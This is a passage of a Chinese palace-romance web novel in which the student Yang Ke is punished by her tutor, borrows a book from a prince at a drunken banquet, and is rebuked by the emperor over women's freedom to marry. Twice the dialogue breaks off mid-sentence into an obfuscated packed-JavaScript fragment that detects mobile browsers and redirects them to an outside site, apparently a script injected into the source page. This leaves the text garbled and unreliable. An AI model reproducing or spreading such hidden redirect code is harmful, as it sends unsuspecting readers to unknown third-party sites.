杨柯正为他此举暗喜着,却听见一道不咸不淡又惹人烦的声音在第一排响起:“女子又如何?同是女子,如今公孙先生也身居要职。师妹向来遵守规矩,我想她应该不希望自己被区别对待吧?” 杨柯咬牙切齿道:“师哥说的是,无论男女,皆需恪守规矩。”她站起身,向范晋拱手鞠躬,“多谢先生赐罚。” 乐白与昌吉皆忧心忡忡地看着她。她朝二人轻轻摇头,以示无需挂怀,唯独不敢去望伯喻的神情。 “好,杨柯,为师赞赏你敢做敢当的态度。”范晋现下倒是对她投向了欣赏的目光,不过下一句话还是让杨柯觉得他面目可憎,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15221466|165772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下次课前,到御书院来,没背过,不许来上课。” “是。”杨柯像霜打的茄子一般垂着头走了出去,烈日曝晒对她来说倒是次要,在伯喻面前丢脸才是头等大事。 掀开门帘,一阵热浪猛扑过来,好像要将她整个身子吞掉,脚底下仿佛踩在炭火上炙烤,她被烫得像个猿猴似的原地乱跳。 这湖心亭四四方方,设计之初便有避暑之意,穿堂风吹过尤其凉快,可在亭外就是截然相反了。正午的日头尤其毒辣,晒得影子都萎缩起来。阳光穿透眼皮,只能眯缝着眼睛,汗水又顺着额头滑落下来,糊进了眼皮,闭也闭不得,睁也睁不开。杨柯只能一边抹汗,一边遮眼,脑袋里越来越晕乎,手里的书本看也看不清,记也记不住…… “睁眼了!”“醒了醒了!” 叽叽喳喳的声音涌入耳朵,杨柯费力地睁开眼,一阵凉风吹过,方才的燥热一扫而空。凝神一看,原来已经到了屋内。 适才她被晒得晕了过去,刚巧被坐在窗边的人发现,于是将她抬了进去。这时,众人趋首上前,围成一团,眼睛睁得大大的,仿佛在看街上的猴子似的。 乐白关切地问道:“阿柯,现在感觉如何?” 范晋也躬身询问:“现在好点了吗?”一边捋须长叹,“为师不该让你去外面罚站的,在里面站着就是了,哎呀!” 听了这话,杨柯差点儿没再晕过去,“好……渴。” “拿水来。”头顶传来宇文泰的声音。杨柯脑中警铃大作,猛地抬头寻找他的身影。还没等四目相对,便眼前一黑。 恍惚中,听到章可馨的声音:“杨柯,虽然你没什么礼数,但你还真是我见过的人里最冥顽不灵的。先生让你出去跪着,你偏逞这个强做什么?”不知她这是嘲讽还是关心。 刘悦咂咂嘴:“不是李太傅的关门弟子么?怎么连《道德经》都背不出来?” 这句话仿佛点燃了星星之火,人群中议论之声开始响起。“是啊,不知道她是怎么进来的。” 范晋沉声道:“怎么又在逞口舌之快了?” 议论之声稍稍停息,但有人小声反驳:“不过是关系户罢了,有什么了不起的。” “考试之事,乃国之朝纲,不容议论。”伯喻的声音响起,窸窣之音顿时一挥而散。杨柯感激地看向他,伯喻回以微笑。目光收回之时,她瞥见宇文泰的神情复杂,仿佛在思索着什么。 来不及细想,乐白向她递来水杯,“来,先喝点水。” 杨柯的喉咙早就干涸如戈壁,见了水更是两眼发光,接过水杯后急忙吞咽下肚,可速度太急,猛地呛在了喉咙里,一个没忍住尽数喷了出来,完完整整地落在了正对着自己的宇文泰身上。 一瞬间,亭内安静得异常。 宇文泰的上身被悉数淋湿,一滴水正顺着他的下颌明晃晃地滑下来。 杨柯瞪着那滴水点子,啪嗒一声坠到地上,她的心尖儿也跟着一抖。眼睛重又往上探去,只见他垂眸打量着自己,伸手慢慢地拂过脸上的水珠,再抬起眼睫时,那黑瞳里燃起了火星子,越烧越旺,快要喷将出来了! 杨柯赶紧拽起一旁呆住的乐白:“快跑!” 13.借书 一直到隔天纪夫子的课上,只要在路上见到穿着玄色长衣的男子,杨柯心里便直打哆嗦。好不容易熬到了上课,终于见到了这尊活佛,本以为他会找自己麻烦,他却好像失忆了一般,仍是平常那副冷傲样子。 杨柯转念一想,自己并未做错什么,明明是他害得自己在太阳底下跪了足足一个时辰,吐点水在他身上也算是精神补偿。这样想来,心中的压力顿时消失了,只觉得这几日白白担惊受怕,遭了这么多罪,心中对宇文泰的怨念又深了一层。 下了课后,便去御书院找范老头背书。 “阿柯,你要去哪儿?”正走在路上,云昌吉从身后追了上来。 “御书院。”云昌吉拍了拍她的肩膀,似乎是传达安慰之意。杨柯知道昌吉如今是宇文泰的伴读,更没好脸色了:“你少来我面前得意。” 昌吉反倒哈哈大笑:“枪打出头鸟。没想到从小跟着我的小弟竟成了二皇子的眼中钉,不知道是好事还是坏事。” 杨柯嘲讽道:“要我看,你入宫才几天就帮着他说话,可不是什么好事。” 云昌吉反问道:“你哪只耳朵听见我不向着你了?” 杨柯道:“你若要向着我,就帮我一个忙。” 经验告诉云昌吉,事情没有这么简单,他抽了一口冷气:“阿柯,这可不是在宫外,更不是杨府,你要是乱来……” 杨柯截住他的话茬:“怕什么?我又不会害你。” 云昌吉收敛了惧意,等着她继续说下去。 “这宇文泰平日里……可有什么禁忌?” 云昌吉结结巴巴道:“你……你指的是哪方面?” 杨柯直敲他脑门:“想什么呢你!” 他皱着眉头,摸着脑袋,半晌才挤出句话:“别的我不知道,倒是听小顺子说过,羲王对外表甚是讲究,衣服必须要熏够香才能穿。” 杨柯眼睛一亮,手搭到云昌吉的肩上:“到时候就拜托云兄帮小弟一把了。”说完便一溜烟儿跑走了。 云昌吉一脸茫然:“什么啊?别拉我下水就行。” 到了御书院,杨柯终于磕磕巴巴地背完了,范老头也终于点头通过。 “阿柯,你如今背了这部《道德经》,对老子所言有何看法啊?” 杨柯心想,有何看法?晚上一觉睡去便能忘得干干净净。她胡诌道:“弟子认为,老子说的没孔子来的好。” “哦?说来听听。” “老子不要皇帝,孔子要皇帝。”范晋刚喝进嘴的一口水登时喷了出来。杨柯抬手拂了拂衣衫上的水珠,看来不止是自己容易被水呛,范先生也一样,果然是有其徒必有其师。 “你……你这是什么歪门邪理。”范晋抹了抹胡须上的水滴,低声道,“这样的话可不要在外面胡说!” 杨柯倒是嬉笑:“看来弟子说的没错咯。” 他撇嘴道:“倒是话糙理不糙。这老子讲究无为而治,孔子嘛……” “好了好了!”杨柯赶紧截下他的话,“先生,背完了书,可以走了吧?” 范老头摇着头念叨了起来:“孔子讲究的呢,是君臣有序……” 杨柯兀自反身走开,他忙招呼道:“哎!等等!” 杨柯无奈地看着他:“夫子,又怎么了?” 范晋嘿嘿一笑:“老师还有一事。” “什么事?” “麻烦阿柯跑一趟,去帮为师借一本书。” “这么大的御书院,还不够您读的?” “哎呀,读不在多,况且先贤著作卷帙浩繁,哪里有个尽头?” 杨柯无奈抱胸道:“您说得倒也有理。那您要去哪儿借?” 范晋啧啧嘴:“倒也不远,几步路便走到。就在东侧的武华殿。” “没弄错吧,武华殿?”杨柯心想,他不该叫范晋,该叫范剑。于是一口回绝:“这事儿恐怕弟子无能为力。” “为何?宫中有伴读不能进入皇子宫殿的规定?”范晋一脸无辜地看着她,手里还在捋着他的长须。 杨柯望着他垂下的白髯,只想硬生生拽下来:“先生为何不自己去?” “为师事务繁忙,这皇宫又那么大,哪有空闲专门去跑一趟呢?”范晋摇着头感叹。 “方才您不是还说走几步路就到了吗?” “那是你们年轻人,我年事已高,岂能同日而语?”这时候反而倚老卖老起来了。 “先生为何不找书童去,非得让弟子去?” 范晋摆摆手:“书童去,还要向后宫禀报,你,直接去就是了,多省事儿啊。”可真是打的一番好主意。 杨柯无奈接下:“那先生要借什么书?” 老头一只手慢慢捋着长须,一边拿笔写着什么:“贾谊的《治安策》。此书早已绝版,现下宫中除了陛下的书房,只有武华殿藏有了。” 杨柯暗自嘀咕:“那还真是稀奇。” 范晋抬眼瞧了瞧她,笑了一声:“阿柯啊,这人生在世,要能屈能伸,去个武华殿有什么的,你若是借来了书,我定当奖励你!” “什么奖励?”说到这个杨柯可就来劲了。 他眼珠子转了转,缓缓道:“免你下次体罚。” 杨柯跳了起来:“好你个老头!诓我呢!” 范晋笑道:“哪里哪里,你能保证下次一定能背出来?”见她迟疑,又继续道,“看,我这不是在帮你吗?” 杨柯拿他没办法,只好乖乖领命,往武华殿去。 到了殿门前,杨柯敲了敲宫门,大门开了个缝,一个小太监探出了头:“姑娘是来?” “我是杨柯,今年进宫的女使,俸范晋先生之托来找殿下借书。” 小太监憨厚地笑了笑:“您稍等,奴才这就去禀报。”说完,圆头便溜进了门缝里。小圆头忘了关门,里面的丝竹管弦之声漏了出来,还有男女的喧哗声,着实吵闹。 不出一会儿,大门打开了,圆头向她恭敬地福了福身,领着她往里走。越走近正殿,喧闹声越是清晰。杨柯心生好奇,大中午的,宇文泰怎么在殿中设宴取乐? “殿下输了!快喝!” “这局不算,再来再来!”宇文拓的声音盖过了音乐,紧接着又是几个撒娇的女声,酥麻之程度不亚于杨柯平日里在紫英阁里见到的姑娘们。 圆头领着她进了门,方才耳中的嬉闹终于有了画面:大厅中央横着一座蜿蜒如巨龙的酒池,池中酒液一半清澈,一半鲜红。酒池边上,宇文拓衣襟半敞,面色潮红,手持金杯,大口痛饮。怀中的两名乐姬身着轻纱,体态婀娜,身侧还有两个同样衣着性感的侍女,手持银筷,为他夹取食物,偶尔还会轻声细语地与他调笑。一旁的宇文泰也左拥右抱,一个半袒香肩的乐姬正往他嘴里递葡萄。 “二位爷,杨姑娘来了。”小圆头战战兢兢地开口,杨柯也跟着欠身行礼。 宇文拓放开了怀里的几位美姬,饶有兴致地看向杨柯,站起身向她走去:“哟,这不是大才女杨柯么?怎么,被范老头折磨完了,也想过来跟我们一起爽爽?” 酒气迎面扑向杨柯,她下意识地往后退了几步,与他拉开了距离,目光看向仍然斜靠在塌上的宇文泰:“端王殿下说笑了,我就是来借书的,拿到书了便走。” 宇文泰正用嘴接过怀中乐姬递来的酒杯,当她是空气一般。 斜倚在榻上的一个乐姬嗤笑一声:“借书?”说完望向四周的女子,皆哂笑起来。 宇文拓目露凶光:“笑什么笑?” 众人皆敛声屏气,即使端王背对着她们也不敢做声,只有宇文泰在一旁悠然倒酒。 “你觉得借书很好笑?”宇文拓缓缓转过头去,目光落在方才嬉笑的女子身上,语气中透露出一丝轻蔑。 那女子颤抖着摇了摇头。 “笑便是笑了,摇头作什么?”他的语气温柔,让人误以为在鼓励着女子继续说下去。 女子见他脸色放缓,以为自己的态度并无大碍,于是便顺着他的意思说了下去:“柔伊是在笑她故作姿态,如今哪里有人愿意看书的。” 突然,宇文拓指着她狠狠道:“把她给我拖下去打一百大板!” 一百大板!这酷刑放在壮年男子身上,也得半身不遂,何况是娇 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“大哥何必与这野丫头置气,她连书都不会背,又懂什么治国之道。”坐着的宇文泰突然站起了身,目光在杨柯和宇文拓之间流转,“今日本是享乐,何必让一本书打扰了咱们的雅兴。” 宇文拓眼中的猩红熄灭了一些,他轻蔑地瞪了杨柯一眼,转身回到席上,一屁股坐下,继续喝酒。杨柯冷冷地看着他,脸上写满了厌恶。 宇文泰的目光看向杨柯,神色慵懒:“你要借什么书?” 二人目光相触:“《治安策》。” “随我来。”冷冰冰的眸子引着她走向侧殿的书斋。 进了书斋,与外殿给人的奢靡之感截然相反,屋里陈设典雅,正中央的花梨石案上磊着各种名人法帖、宝砚笔筒,西墙上挂着米襄阳的《烟雨图》和颜鲁公的对联。书架上的几本《孙子兵法》、《贞观政要》都翘起了书脚,书页也被翻的发黄发皱。虽然小时候杨柯跟着杨涛见了不少名人字画,但一次看到如此多的宝贝,她心里仍然暗自吃惊。 见杨柯的视线被吸引过去,宇文泰开口提醒:“你要的书。”抬手便将《治安策》扔了过去。杨柯将将接住,没好气地道:“递过来便是,何必要扔。” 宇文泰挑着眉眼不驯地看着她:“你以为呢?今日没把你轰出去就算好的了。” 杨柯嘲讽道:“本以为殿下腹中尚有些笔墨,那《贞观政要》的书封都磨破了皮,没想到是我弄错了。” 宇文泰一脸惫懒地靠近了她道:“杨柯,你若这么喜欢揣摩人,何不猜猜我现下在想什么?” 杨柯看着他的眼睛,在慵懒的背后察觉到了锐利,安静了一会儿,才慢慢悠悠地开口回答:“当然是——不、知、道了。” “不知道也要说这么慢?” “宫里的贵人说话总是拖长了调子,我可是跟殿下学的。” 他轻轻一笑,杨柯抬眼看去,竟有一股落拓浪荡的好看。 宇文泰退后一步,与她拉开了距离:“你倒是挺会说笑。” 杨柯看他眼中的锋利褪去,也放松了下来:“哪里哪里,入乡随俗。” “我的意思是,”他收起脸上的笑容,眼眸也冷了下来,房内的气氛随之降温,“你毫不客气地顶撞端王,拿自己的性命开玩笑。” 杨柯也绷起脸来:“我只知道,王子犯法,与庶民同罪。即使顶撞了端王,他就能杀了我?” “还有一句话,叫刑不上大夫,法不下庶人。你难道没有看见柔伊的下场?” 她自知理亏,却不想在他面前败下阵来:“至少他不敢这样对我。” 宇文泰的舌尖抵了抵腮,凌厉的黑眸沉下:“我这个人,最讨厌涉人因果。若是听不懂,那便算了。” 杨柯不咸不淡地道:“若殿下不想干涉,早早收手便是。” 宇文泰面无表情地看着她,杨柯也回视过去,二人僵持了一阵,杨柯没耐心了,便开口道:“没有别的事,我就不打扰殿下和端王雅兴,先行告退了。”说完,便起身要往外走。 “借完了书,记得要还。”他漫不经心的声音在背后响起。 杨柯翻了个白眼:“是,羲王殿下。” 14.小十 几日后,又到了范晋的课上。范夫子今日心情甚好,广袖一飞:“今日课上,我们不讲《道德经》,来讲讲诗词。唐代的诗……” 听到诗词,杨柯登时竖起了耳朵,结果范晋却净拣些她不感兴趣的诗人来讲,又泄光了气,正感觉无聊乏味,耳边忽地传来胡乱捣鼓的声音,她侧首探去,才发现是庆宁郡主在磨墨。 这范晋规矩大,不允许带童子上课,所以磨墨这等体力活也得自己干。若是寻常的皇子公主倒还好,可庆宁郡主如今才刚满十岁,哪来的力气自己磨墨,于是在座位上吭吭唧唧半天,硬是没弄出点墨汁来。电光火石之际,杨柯将自己桌上的墨汁递给了她,所幸在范晋朝她们转头回来之前便坐回了原位。 “谢谢阿柯姐姐。”公主将手笼在嘴边悄悄对着她说。 “没事,你还缺什么,就同我说。”杨柯也对她做着口型,又瞧着她圆圆的脸,忍不住朝她眨了眨眼,可这小动作却被范晋看在了眼里。 “阿柯,为师看你在下面动作甚多,看来是有所思考咯?” 杨柯尴尬笑道:“哪里哪里,师父您继续讲,我就不给大家添乱了。” 宇文拓照旧落进下石:“范夫子,您今天还真是问对人了,这杨柯作诗可是一流,讲起诗词来,说不定比您还有几分新意呢。” 范晋闻言眼色一亮:“哦?阿柯,我方才讲的这段话,以你看来,应当如何解读?” 杨柯紧张得咽了口口水,她压根儿没听,哪知道范晋方才讲了什么。于是赶紧向边上的昌吉使眼色,她二人有了上次的教训,这回也不明目张胆了,昌吉用手掌掩着嘴,低声道:“花间集。” 幸好平日里光看诗词,这回杨柯总不会掉链子了,她立即道:“夫子今日所言,弟子大多都赞同,《花间集》乃词家之祖,夫子选这本来讲,当真妙极。” 范晋点点头:“嗯,那按你的意思,还有不赞同的地方,快讲与大家听听。” 杨柯心里一咯噔:“有倒是有些,但弟子不知当讲不当讲。” 范晋摆摆手:“诶!现在是课堂上,哪有什么顾忌的。” 杨柯开口道:“花间集全本共有十八首词,首首精妙,但也因为尽写闺阁情思而被诟病‘靡靡之音’,可奇怪的是,这些靡靡之音竟无一首是真正的女子所写。” 范晋听言点头:“嗯,方才我说整本词儿女情多,风云气少,乃是遗憾,不过你为何觉得没有女词人是遗憾呢?” 杨柯道:“既然要写闺阁题材,女子难道不比男子更明白?” 章可馨反驳道:“花间集明明抒发的是才子不得志之意,哪里是儿女私情?” 杨柯反问道:“既然才子自觉英雄无用武之地,又为何要假借女子之口表达?既然世人觉得男女之情难登大雅之堂,那男子为何又要写儿女私情?”一时间场上没了声音,众人皆陷入凝思。 范晋哈哈笑了出来:“好问题!大家有何想法啊?” 乐白首先开口:“妻子思念远方的丈夫,正如臣子想念朝廷的君主。以妇人思君不得的感情来写自己的不得志,‘可怜无定河边骨,犹是春闺梦里人’不就是个例子?” 杨柯又问道:“若男子也怕被君主抛弃,倒不如直接学着女子一样进宫侍奉皇帝,岂不是更直接一些?” “什么混账话!这能一样吗?”宇文拓扬声道,“要是男人不写,那你们女人写?我看女词人也没几个吧。” 杨柯又问道:“我倒想问问殿下,女词人少的原因为何?” 宇文泰道:“过往世人皆认为‘女子无才便是德’,有才的女诗人怎么会多?” 杨柯道:“殿下说得似乎有理,可到底是有才的女词人少,还是世间根本就容不下她们?朱淑真的才华不容小觑,但她只因想找一个爱的人嫁给他,结果却是不得善终,死后也没有埋骨之所。她犯的‘罪’,不过是和花间集的男词人一样罢了。” 伯喻沉吟道:“阿柯所言在理,能被记载下来的女诗人确实不多。不过,也有不少诗词中留下了女子的惊鸿一瞥。眉山苏轼的《定风波》里,柔奴跟随王定国远走岭南,东坡问其是否安好,她答,‘此心安处是吾乡’。我想,也许女人没有机会留下她们的思想,但若有一双发现美的眼睛,也不失为憾事。” “好!此心安处是吾乡,喻儿,她为何要这么答?”话音刚落,众人皆起身行礼,原是皇帝来了崇文馆。 伯喻长身一躬:“回禀父皇,苏轼认为,岭南乃贫瘠之地,可柔奴回来后反而‘笑时犹带岭南香’,于是苏轼问其缘由,柔奴才答,‘此心安处是吾乡。’” “好一个表里如一、乐观通达的女子!”皇帝笑赞道,“你们在讨论什么?为何讲起了诗词?” 范晋道:“启禀陛下,今日授课之时,臣为诸生讲授《花间集》。方才他们踊跃发言,直言心中所想,见解新奇独特,实在不错。” “哦?有何妙见?” 宇文拓抢先道:“杨柯认为女诗人不该被埋没,男子也不该越俎代庖,写女子的闺阁情思。” “听起来有几分新奇。”皇帝的语气里带了些火花。 伯喻道:“父皇,杨姑娘的言论看似离经叛道,但仔细想来,也不无道理。” 皇帝并不理会伯喻,而是看向杨柯:“杨柯,朕问你,你觉得如今朝廷内有无亏待女子呢?” 此言一出,亭内气氛彻底凝固了下来,方才那些讨论尚且还在诗词歌赋的层面,可皇帝这一问,直接引向了朝政之上。 杨柯道:“回禀陛下,臣不敢妄言,如今陛下重开女官制度,便是给了女子施展才华的机会,较之前朝,陛下此举尽显非凡卓识,实乃圣明之至。” 皇帝缓缓道:“你不必害怕,更不必急着恭维朕,说出你心中真实所想便是。” 杨柯抬头看向皇帝,见他面容平静,又瞄了一眼乐白,乐白默默地摇头,她垂眸道:“既然陛下如此开明,臣又有何理由隐瞒?臣之所言,皆为心中所想。只不过……” “只不过什么?” “只不过希望女官能够和男子一样,有自由婚配的权利。” 皇帝眯起双眼,剑眉挑起:“自由婚配?” 杨柯并未察觉到异样,又继续道:“是,臣听闻宫中有个不成文的规矩,凡是进入内廷的女官,不可与他人……” 伯喻忽然截道:“父皇,您日理万机,我们方才所论,不过是纸上谈兵罢了,还请父皇不必费心,当作玩笑听过就是。” 皇帝抬手止住他:“杨柯,你继续说下去。” 杨柯道:“臣觉得女子和男子一样也有七情六欲,也当像男子一样自由婚配。” “荒唐!”皇帝一声怒喝,众人皆跪伏在地。 几位皇子齐声道:“父皇息怒!” 伯喻继续道:“父皇,杨姑娘所言,不过童稚之语,您权当作玩笑,正好解解乏。” 皇帝面色稍缓,眼中的怒色渐渐褪去,缓缓开口:“虽为童稚之言,却也不可轻视。杨柯,今日朕便明明白白告知于你,朕为何严禁内廷女官擅自婚配。内廷虽身处后宫之地,然其职责之重,丝毫不亚于外廷。朕每日下达的政令文书,第一道必经内廷之手。若内廷与外朝暗中勾连,相互串通,你且想想,这朝堂将会混乱成何种模样?朕之江山社稷,又将置于何地?” 杨柯跪首道:“臣知错了。此前臣目光短浅,未能洞悉其中利害,竟妄言此事,实在罪该万死。” 皇帝微微颔首,神色缓和了些许:“起来吧,你尚且年轻,有些道理不懂也情有可原。”他顿了顿,目光望向亭内的众人,“朕今日同你们说这些,并非是要苛责于杨柯,而是希望诸位都能明白其中道理。尔等日后在宫中当差,凡事都要多思多想,不可意气用事,要时刻以朝廷社稷为重。杨柯,今日朕赐你殿前罚站,以此为戒,往后万不可再犯。” 众人一齐叩首:“多谢陛下!” 皇帝离开后,杨柯又站到了亭外去,不过这次是熟门熟路了。她心里正郁闷着,忽然耳边一道清脆的童音响起:“你也被罚啦?” 杨柯转头望去,一个身高不过她腰际的小男孩正嬉皮笑脸地指着她: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15232667|165772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我知道你,你上次吐了二哥一身,”他一边说,一边咯咯发笑,“二哥最臭美了,他一定气死啦!” 杨柯暗自腹诽,气死?后面还有的他好受的。又对男孩问道:“那你是谁?” 小男孩挺起胸膛,小脑袋高高昂起,双目炯炯有神,左手竖起两指,手臂笔直向上,右手手臂折叠胸前,单脚跳起转了半圈,捏起戏腔道:“我乃宇文潇,天下第二神勇皇子是也!” 杨柯见他这幅小小年纪又功架十足的样子,忍俊不禁:“你是天下第二,那第一是谁?” “第一是我二哥,谁让他比我厉害。”他嘟着嘴,眼里亮晶晶的,“等到我跟他一样大了,我就比他厉害了!” 杨柯心里一奇,宇文泰在这小孩儿心里竟有如此高的地位,她越发捉摸不透这人了。“既然你也这么厉害,为何你在这罚站呐?” 小皇子双手叉腰:“哼,我才不听什么齐家治国的大道理,夫子气不过,就让我站到外面来了。” “为何不愿听?往后你可要帮着你父皇统领江山啊?” “学那些有什么用?能杀敌破阵吗?” 杨柯笑着道:“说得倒是挺有道理,我也这么想。”说着便走到了上次罚站的位置上。 “你真笨!站那里被太阳晒得屁股都红了。”小男孩竖起短短的大拇指,昂起笑脸,“我这个位子最好了!夏天能遮阳,冬天能挡风,下雨了还能避雨。” 杨柯听言,竟也乖乖站了过去,果然凉快了不少,她拍拍小孩的头:“你倒是聪明哈,早知道我上次站你这儿了,省得被热晕过去。” 小孩立即往后跳了半步:“别摸我的头!会长不高的!” 杨柯的手悬在空中,歉意地笑道:“抱歉抱歉,你早说啊。” “怎么女人都爱摸人的头?” “还有谁啊?” “庆宁,她老来烦我。” “她怎么烦你了?” 宇文潇咕哝道:“她跟你一样,老是摸我的头!明明也就比我大了一岁,偏偏比我高出许多。” “老十,今日怎么又在外面?”伯喻的声音在他们背后响起,二人闻声回头,冲他傻傻一笑。 方才还在杨柯面前神气的宇文潇一下子变了个人,在伯喻面前规规矩矩,脆声脆气地道:“七哥,夫子说,哪天我会背《道德经》了,就让我进去。”路过不少人驻足围观,都对老十十分好奇。 伯喻蹲下身子,平视着他,柔声问道:“那你背了多少了?” 宇文潇挠了挠头:“第一页……”众人听了一阵哄笑,但不少是见他模样可爱,并未有嘲笑之意。 伯喻伸手理顺了宇文潇凌乱的衣领,老十皱眉嘟嘴:“七哥,这衣服太难了,我老是穿不好。” 伯喻道:“要穿好这身衣服,首先要把腰间的节打好。冠必正,纽必结。有礼有节,才能立于天地。”说着帮他打好了腰间的系带,“潇儿,可明白些了?” 老十又挠了挠头:“好像……又糊涂了。” 众人又是一阵哄笑。 伯喻并不恼火,反而笑道:“有长进。一知半解比全然不通好。” 杨柯见他对老十耐心教导,心里格外暖意洋洋,细声开口道:“伯喻,方才多谢你出言相助。” 他站起身来,面向杨柯,脸上是融融笑意:“不必谢我。父皇素来严厉,今日他也并非恶意,你不要记挂在心上。” 杨柯摆摆手:“不会不会,体罚这种事我早就习惯了,算不得什么的。” “哈哈,你跟我一样。”宇文潇指着杨柯咧嘴一笑,杨柯没好气地瞪了回去。 伯喻摸着他的头:“潇儿,现在该随我去学琴了吧?” 宇文潇一下子蔫了下去,拖着声音道:“七哥——” 伯喻向杨柯颔首道:“阿柯,我们先行一步。” 杨柯点头目送他们远去,乐白也从屋里走了出来,见杨柯呆呆望着远方,轻扯了下她衣袖,她仍兀自不觉,乐白轻声笑道:“阿柯,我们也走吧。”杨柯全身跳了起来,恍然道:“好,好。” 15.情生 杨柯回到凌薇苑,心里仍像断了线的风筝似的没着没落,好不是滋味。用过了晚膳,正躺在卧榻上,忽而瞥见书架上的《明斋广录》,一个挺身坐了起来,取下书本,兴致勃勃地往外去。 初秋时节,不冷不燥。循着记忆中的路线,费了半柱香的功夫,杨柯才找到翠微殿的匾额。敲了敲宫门,一个十七八岁的小太监探头出来,问道:“姑娘您是?” “我是凌薇苑的杨柯。宣王可在殿中?我来给殿下送书,烦请公公递个话。” 小太监很快便道:“好嘞,小福子这就去给您通报。” 不一会儿,宫门打开,小福子站在门边,冲她笑道:“您里面请。” 一踏进宫门,便是两行垂柳,柳阴中有一座折带朱栏板桥,过桥后,迎面一块插天的山石,山石附近并无一般花木,反倒长了许多异草,或牵藤、或引蔓,形态各异,香气扑鼻,非一般花香可比。 异草背后,传来幽幽琴音,她循声而去,脚下小径蜿蜒曲折,隐于葱郁草木之间。行至一处,一座精巧庭院映入眼帘,院门半掩,透过门缝,可瞧见院内一方雅致的亭台。 杨柯轻轻推门,琴音蓦然停歇,她欠身道:“是我冒昧,惊扰殿下雅兴了。” 伯喻见了来人眼中一亮,徐徐起身相迎:“哪里哪里。上次七夕之后,一直没寻到机会同你畅叙。” 杨柯眼中露出狡黠:“我这不是找上门来了?” 伯喻欣然接道:“在下不亦乐乎。” 杨柯听了心中百般欢喜,颔首垂眸,又想起手里的书,忙道:“上次答应的《明斋广录》,前几日托宫外的朋友搜罗了来,今日才送到宫里,特地给你送来。” “阿柯有心了。”伯喻伸手接过书册,二人指尖相触,清凉的触感却有如滚辣的火焰,灼得人心尖一烫。 “以后莫要再看残本咯。”杨柯对他轻俏一笑,伯喻接过她的笑眼,琥珀眸中露出闪闪微光,好似一道银钩:“残本还是全本,我总是难以分辨。若都能先经阿柯过目,想来就不会出错了。” 杨柯这时犯了愚笨,只听懂了他言上之意,“你要读什么书,尽管告知我,我帮你取去。” 伯喻望向她的眼中笑意熏沉:“平日里诸事繁多,实在抽不出多少闲暇去读闲书。不过,若能读一读姑苏悠悠客写的诗便足够。” 虽然伯喻并不知道她便是姑苏悠悠客,但她听了这话心中倍感欣幸,“姑苏悠悠客呀,她的诗最容易找到了。”说话间,一面低眉垂睫,一边粉面生霞,又不好意思叫他瞧见,侧首一转,又脆声问道:“伯喻,你这宫中设计实在新奇,可否告知是出自何人之手?” 他的目光仍是柔柔地落在杨柯的脸上:“是我额娘。她来自西域,一向对绿色植物满怀珍视,还亲自与工匠一同设计。园中山石,也都是她逐一甄别、细细挑选而来。” 杨柯不禁赞叹道:“令堂真是位奇女子!” 一阵清风拂过,屋檐下的竹影也忙不迭地点头。伯喻看着她长睫下的双眸波光粼粼,勾得他想用指尖揉碎那一汪碧水,“你若是喜欢,再来便是,下次也不用小福子带你进来了。” 杨柯本沉浸在观赏四处的景致中,思绪再次被他的话语搅乱,“啊?我……我这人常犯路痴,若没人带路,恐怕记不得方向。” “记不得方向?那就多来几次,熟了便记得了。” 杨柯一边嘴上糊里糊涂地应和着,一边随他踏入门内,目光所及之处,有一幅水墨画,画中有一船,船身以墨色清淡勾勒,寥寥几笔,却恍若有水波轻拍之声传来。 她凝着画问道:“诶,这画里的船可是越州乌篷船?” 伯喻点头:“对,阿柯如何识得?” 她眼波一闪,终于对上了他的目光,“我在越州出生,小时候常常坐乌篷船。乌篷船格外轻巧,水面稍有波动便会摇晃,那时候胆子小,爹爹第一次带我坐船时,我生怕一不小心掉下去,便死活不肯上去。后来爹爹没办法,捂着我的眼睛把我抱上了船。等我长大些便不怕了,反而喜欢在水边拿着石子打水漂。” 伯喻只觉她眼里的一汪碧水汩汩流进了他心里,于是温言问道:“既然你在越州出生,为何长大后来了京城?” “我爹本是京城人,因为我娘才去的越州。他平日里闲着没事,就在河边喝酒作画,被师父这个酒蒙子撞上了,两个人也算是臭味相投,日夜都泡在一起。后来,师父回了京城,我娘也打算举家搬迁,她一方面想让我拜上师父,跟着他读书,另一方面也是想着爹爹能跟师父老友重聚。” 伯喻道:“母亲当年也去过越州,后来没有机会再去南方,于是命画师画了一幅挂在宫中。” 杨柯眼底一亮:“瑾妃娘娘也喜欢越州?那儿可是山清水秀!尤其是屋子边上的小河,到了冬天都还是温温的。” “她喜欢那里,可惜只去了一次。”伯喻说到此,眼里的眸光笼上了一层薄纱,脸上却仍是微笑,“算是借着山水安顿一颗寂寞心吧。” 杨柯听不明白,但她知道伯喻的神色沉郁了一分,于是道:“能去瞧瞧大好河山总是好的,许多人想去都没法去呢。” 伯喻点点头,又问道:“江南与京城有何不同?” 她见伯喻神色好转,语调也俏皮了起来,“如果要作比较,京城就像是皇宫里的几位殿下,端端正正,有型有款。江南嘛,更像是闯了大祸以后,被老爹发配到边角的纨绔公子哥儿,虽偏安一隅,但也潇洒随性。” 伯喻听了失笑道:“听你这么描述,江南好像更有意思了。” 